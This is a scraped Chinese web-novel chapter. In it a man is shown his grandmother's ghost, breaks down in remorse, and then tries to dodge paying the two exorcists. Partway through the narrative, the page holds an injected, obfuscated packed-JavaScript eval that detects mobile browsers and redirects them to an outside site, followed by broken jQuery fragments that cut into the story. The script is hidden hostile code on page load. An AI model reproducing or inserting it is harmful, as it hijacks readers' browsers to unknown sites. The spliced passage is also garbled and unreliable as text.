66. 婆婆,我不想当山了;婆婆,山……

作品:《别抢我卦金

    似乎出了太阳,透明的玻璃窗将半见黄色彩的阳光放进来,斜角梯形泄过来,映到眼睛里没觉得刺眼,照到身上也还是冷。


    张峡恍惚地想——


    高考,他考上了漓州一所排名在中上游的大学,大学中接触到的来自五湖四海的人各有才能,哪怕他们没有生在漓州,却有着比他看过世界上更多风景的眼睛;哪怕他们没有生在漓州,却有着他无法匹敌的家境……


    婆婆有天不打招呼就过来给他送家里自己种的水果,还有婆婆自己做的菜,她就站在离他不远的地方朝他招手,喊他小山。


    他的反应是什么?关于和婆婆相处的过去被后来的事情掩埋,他只知道,他的“朋友们”围在他身边偷笑,有的放肆地耸起眉毛凑到他面前,和他搭着话调侃:“小山?该不会在叫你吧张峡?哈哈哈……怎么会有人叫这种名字啊,好土啊。”


    “受不了了,我真要看看谁是这个‘小山’,该不会是哪个从山沟里出来的吧?我们学校还有这种人?”一个朋友踮起脚昂着下巴左顾右盼,轻蔑看戏的笑浮漫在他神情间。


    想向婆婆迈过去的腿最终没有迈,他混在那堆“朋友”里,收回视线昂着脑袋,学着他们藐然的口吻道:“谁知道啊,反正不是叫我,懒得管那么多。走咯走咯,快去吃饭,饿都饿死了。”


    他故意把音量提高,只盼着婆婆能有点眼力见,听到声音以后赶快走远点,别出现在他的这一方世界里。


    菜和水果被宿管阿姨送到了他的寝室门口,他当时心中只有庆幸,因为他独自先回来,所以得了把菜和水果都抱起来藏进自己的位置的机会。只想着——千万不要被发现。


    临至假期,他迫不及待地回到家对着婆婆吼,让她不要再去自己的学校也不要再喊他“小山”,他不顾及她的情绪,说这个称呼十分丢人。


    关于曾经的记忆似乎都淡忘,被嘲笑的“小山”却无比深刻。


    大学毕业后,在工作中结识了现在的妻子,婚礼的当天是多么美好的日子。


    被请上台发表祝词的婆婆却抹着泪说:“我的小山,现在终于长成一座大山了……”其余的话他都听不清听不见,他差点在台上表现出暴怒,因为台下正坐着他大学时的“朋友们”。


    即使,似乎根本没人还记得那个被嘲笑的“小山”,大多人都被婆婆的情绪感染,在台下揩着眼泪。


    在敬酒之后,他单独找到婆婆,拉着她去了宴会厅外的僻静地。


    情绪不受压制,他瞪着的眼珠子朝外凸,吼声从嗓子眼里挤出来:“你怎么还要叫那个名字?什么小山大山的你能不能别念了?我跟你说过多少遍别再这么叫我,你是不是想毁了我的婚礼?”蹭着牙缝出门的口气,一股威胁力。


    年迈了的婆婆局促无助地站在他面前,那两双因操劳多年而粗糙发皱的手交叠在一起,悬停于下腹前方打着哆嗦,她讨好地提着嘴角露笑道:“婆婆怎么会想毁了你的婚礼呢?不念了,婆婆以后都不念了,你好好生活。”


    “张峡。你怎么拉着婆婆出来了,说什么悄悄话呢?”穿着敬酒服的妻子几步走来他们身边。


    将对着婆婆的凶相收起来,张峡柔和着目光瞧向身边的妻子,他微笑着轻声道:“没说什么。你累不累?”


    妻子抬手搀住婆婆的手臂,她仰起额头对上张峡的眼睛,又错目扫了婆婆几眼,感喟道:“我是不累的。高兴,又羡慕;婆婆真的很爱你啊,刚刚婆婆的婚礼祝词都把我说哭了。可惜我奶奶去世得早。”


    微笑着的嘴角发僵的感受仍然是熟悉的,张峡记得自己当时抚着妻子的肩膀道:“没事,以后我的婆婆就是你的婆婆。”


    他替过妻子扶着婆婆的手臂,用着温柔的声气道:“婆婆,咱们也别在这里干站着了,去吃饭吧,看看有没有你喜欢的菜。”


    适才的事情被他轻飘飘地翻了篇;眼神在冷暖中更迭,暖的给妻子,冷的在威胁。


    是从什么时候开始改变的呢?


    数不胜数的事情把他和婆婆之间情感的水沟给填满。


    阳光又闪了下他的眼睛,变成了曾经的婆婆的眼睛形状的眼睛,年纪上来以后就松垂的眼皮被强撑起,他瞢腾地注视着站在自己前不远处的老太太。


    她的死相历历在目,然而面前的老太太就只是老,走在外面会和那些他从不多看一眼的老年人融为一体——那些人在他眼里是相同的人。


    婆婆是什么时候开始老的呢?


    张峡骇然地发觉自己记不起来,他不断搜刮着自己脑中的记忆,可浮现在他脑际的,就只有那些人嘲笑时耸起来的眉毛和放大的五官,以及被嘴角挤上去的苹果肌;耳朵边好像还在徊响,响起他们浑厚而他却觉得尖锐的笑。


    眼泪比声音先出来,张峡撑在身后的手缩了回来,皱纹加深了的手掌捂上脸,泪水润湿了皮肉。


    他呜呜地哭,哽咽道:“对不起……对不起……”


    停在他前不远的老太太终于有了上前的勇气,她飘到他跟前,伸出去的手穿透了他的头。


    鬼魂似乎也会打哆嗦。


    老太太的手颤动着收回来,她立在他身前听着他的抽泣声默息了许久,好半晌才开口:“小山长大了,现在的大山,不需要婆婆的安慰了。”


    然而张峡却猛地摇起了脑袋,他把一张涕泗横流的脸抬起来,本就挂着红血丝的眼睛更红了些,“不,婆婆,我不想做大山了。”


    “从‘小’到‘大’,走的一步步路我都走得好苦……婆婆,我快要不知道我是谁了,我是妻子的丈夫,是孩子的父亲,是父亲的儿子,我要背负山一样重的责任,婆婆,我当不了山了;婆婆,山在我肩背上。”


    中年男人哭成了半大的孩子,呃嗯呃嗯的哭声从他喉咙里捱出来。


    纱窗被吹着震动了两下发出声响,闻黛和陈斯辙默口不言站在后方,跟前的老太太轻轻地叹一声,“那就不做大山了,现在你就做婆婆的小山;小山啊——你从小就爱往心里藏东西,你还记不记得你小时候躲到柴房里哭?那时候就婆婆发现了你,陪着你待在柴房里,你跟婆婆说了好多好多啊……现在也可以。”


    但显然童年的忧愁与成年以后的忧愁有天壤之别,而中年的忧愁又是新一种忧愁。


    于是,张峡向婆婆倾诉的只有他的眼泪。


    日光悄然地移位,窗外的太阳向上爬,正午时分是阴气最重的时间段的起始,闻黛残忍地分开了这对互相怀念曾经的婆孙俩。


    关了张峡的第三眼,闻黛双手环胸,昂了昂下巴道:“这个开太久,你一个普通人会受不住,本身就是影响人磁场的事情,现在赶上了阴气最重的节点,咱们就到此为止。”


    突然出现在张峡视阈内的老太太就这么突然消失。


    他形神惚恍,垮着脖子坠着脑袋好一阵才缓缓撑着自己站起身,平复了情绪,他望着闻黛,语态似乎是诚恳的:“谢谢你。”


    视线又被挪到陈斯辙身上,张峡的嘴唇抿动了两下再抬起:“谢谢你们。”


    抬起来的手负责打断,闻黛掠了他一眼,“你先别谢,我们还没把事情处理完。你婆婆的怨气其实没有多重,主要是有执念;但是这间房子不太一样,这间房子阴气重,我们会帮你理一理,至于让你婆婆安心离开不再打扰你们的生活,这个就只需要你和你的家人按照我之前说的那样,带着她老人家一块儿吃顿团圆饭就行。”


    她给陈斯辙使了个眼神,随后从自己挎在身上的包里抓出几个迷你塑封袋,其中装着的红色粉末随着动作曳动。


    几袋被她分去了陈斯辙的掌心中,“认得出吧?朱砂粉,抹在这个房子的墙角,每个房间的角落都得抹,咱们分工。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497351|183105||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在朱砂粉以后是负责做法的陈斯辙上场,没事干的闻黛瞟向站在廊道上后背攲着墙壁的张峡。


    男人目下似乎仍未从先前的情境中剥离,空洞的眼睛下垂着眼皮,额头朝前倾低,面部的肌肉仿佛都处于最自然的状态中。


    她走几步上前,歪过脑袋凑到他面前,在强行截断了张峡的发呆进程后弯起笑道:“该结尾款了哦。”


    原以为在经历过和婆婆的交心后,张峡会变一变他那欠揍的性情,不曾想——人本性难移。


    上一秒还失着神的人陡然一下挺直了腰杆,连肩膀都立了起来,空洞的眼睛被瞪得有神,他钉眼看着闻黛道:“现在结什么尾款?我婆婆不是还没送走吗?那合同上说的不应该是结束以后才给尾款吗?现在不行,得等我婆婆彻底离开了我才能给你们结尾款。”


    嗓音被拔得格外有劲,声调朝上升,哪里还有先前颓了力的人的一点儿影子?


    挂在脸上的笑支不住了,闻黛的嘴角仍然是咧着的,眼里没了笑意,舌尖顶过唇角旁的腮肉,最后抵着牙齿道:“你可真是畜生呐——”


    简单做了个法的陈斯辙走过来,他掸眼睃了下又搬出了刚强态度的张峡,说:“仪式我们已经做完了,剩下的都是你该做的,跟我们没关系,你现在应该把尾款给结了,难不成你想违反合同条款么?”


    如今肩背都已轻松下来的张峡左顾右眄地瞅了番,他动了动嘴唇,做着让他们跟随自己的手势把他们带出了房子。


    走廊上铺着淡暖的阳光,出来的张峡翻脸不认人,他昂着脑袋不屑道:“我就是要违反合同条款又怎样?你们别以为我是法盲,你们干的这些事都属于封建迷信,拟的合同根本就不具备法律效应。”


    他捞出自己口袋里的手机,皱纹和五官配合着挤出了得意的笑,被他抓在手中晃动的手机屏幕上正显示着录音页面,“我刚刚可是全程都录了音的,你们这就是诈骗,传播封建迷信,我不告你们就不错了,还想要我给钱?呵——做你们的春秋大梦去吧!”


    捏了捏鼻梁的闻黛又做了几个深呼吸,她偏头靠近陈斯辙,咬着牙低声道:“能不能揍他?我忍不了了。”


    然而陈斯辙却一副意定神闲的姿态,他抬起手搭在闻黛的肩膀上,稍稍用力将人往后带了带,“暴力不可取,现在是法治社会。”


    抬腿侧身挡来了闻黛身前,陈斯辙耷拉下眼皮,具有藐视嫌疑的目光注会在仍然很硬气的张峡身上。


    一米九营造出的气势联合陈斯辙本身的气质,逼得张峡本能地往后退了两步,但嘴依旧是硬的,他撑着眼睛睇着陈斯辙,警告道:“你自己刚刚也说了现在是法治社会,你要是敢动手我就报案。”


    哼笑了声,陈斯辙饶有兴致地端量着他,一双狐狸眼噙着促狭在他脸上游移,老神在在地开了腔:“我们提供的是传统文化服务,合同上已经注明我们的服务属于民俗文化范畴,并且甲方——也就是你,是认可的。现在仪式结束了,你却倒打一耙说我们这是封建迷信。”


    “想跑单可以直说。你或许不是法盲,但你的自大是肯定的,你可以把这份合同给任意一个律师看,你看看,他在看过合同以后会不会帮你打这个官司,况且你打官司请律师的钱估计都舍不得付;或者说,你甚至舍不得花钱去咨询律师。你大可以报案,请便。”


    言说中的轻蔑大约是没打算藏,陈斯辙低眸睄着他,末了还抬了下手示意。


    被戳破了心思的张峡脸发红,他闪着眼睛,嘴唇打了结似的:“我、你怎么敢那么肯定?你凭什么说我舍不得花钱找律师?我告诉你,我还就肯把钱花在找律师上,我拿钱去咨询律师我都不给你们,你们就是骗子!还、还这么肯定别的律师找不出这个合同的问题,你以为你是律师啊?!”


    一段话说得他的脸红脖子粗,又成了红辣椒皮的模样。